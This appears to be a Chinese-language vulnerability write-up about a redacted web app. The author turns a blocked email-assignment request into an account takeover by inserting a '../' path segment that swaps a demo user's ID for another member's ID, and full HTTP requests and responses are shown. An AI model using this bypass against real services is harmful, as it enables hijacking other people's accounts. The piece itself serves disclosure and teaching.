业务描述
首先,xxx.xxx.com中的用户可以通过填写的电子邮件重置账号密码
在 xxx.xxx.com 上,可以创建一个组织并添加该组织的成员,有两种方式可在组织中添加成员。
第一种,可以通过使用填写对方的电子邮件地址邀请他们,需等待对方同意后方可成功添加

第二种,比较不同了,开始只需要任意填写成员姓名,这被称为演示用户,添加演示用户后,可以编辑它并添加电子邮件地址,然后仍然是需等待对方同意后方可成功添加,以使其成为实际用户

漏洞发现
- 首先创建了组织test
- 然后创建了演示用户B,只填写了成员姓名
- 然后给用户B赋予一个电子邮件地址,并抓包,数据包如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /<organizationID>/addEmail/<DemoUserID>/ HTTP/2 Host: redacted.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: application/json Accept-Language: en Accept-Encoding: gzip, deflate Content-Type: application/json Token: 123abc Content-Length: 40 Origin: https://redacted.com Referer: https://redacted.com/
{ "email":"attacker@email.com" }
|
- 可以看出,这里有三个可以尝试的越权点:
- organizationID
- DemoUserID
- email
- 三个点都进行了尝试,只有这个点最有可能:DemoUserID
- 这是用户B的id,如果我把这个id,改为组织内任何成员比如A用户的UserID,是不是就相当于在对A用户进行电子邮箱地址的赋值或者叫覆盖呢?
- 尝试修改,并发包后,结果如下:403
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| HTTP/2 403 Forbidden Date: Tue, 15 Nov 2022 14:44:25 GMT Content-Type: application/json Content-Length: 76 Pragma: no-cache Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Content-Type-Options: nosniff
{ :, }
|
- You don’t have access to this提示我们没有权限进行此操作,至少说明了这里如果权限没有控制好的话,就会产生越权问题,只是它做了一些限制
绕过
- 做到这里,不要轻易放弃了,还可以试试绕过这个权限控制的防御,姿势很多,逐一尝试……
- 终于找到了一个可行的方法,最终绕过方法如下:通过**../**成功绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /<organizationID>/addEmail/<DemoUserID>/../<UserID>/ HTTP/2 Host: redacted.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: application/json Accept-Language: en Accept-Encoding: gzip, deflate Content-Type: application/json Token: 123abc Content-Length: 40 Origin: https://redacted.com Referer: https://redacted.com/
{ "email":"attacker@email.com" }
|
- 发送请求的响应为 200,成功了!
1 2 3 4 5 6 7 8 9 10
| HTTP/2 200 OK Date: Tue, 15 Nov 2022 14:43:32 GMT Content-Type: application/json Content-Length: 2 Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Content-Type-Options: nosniff
{ }
|
- 达到的效果就是可以通过覆盖电子邮件实现了任意用户密码重置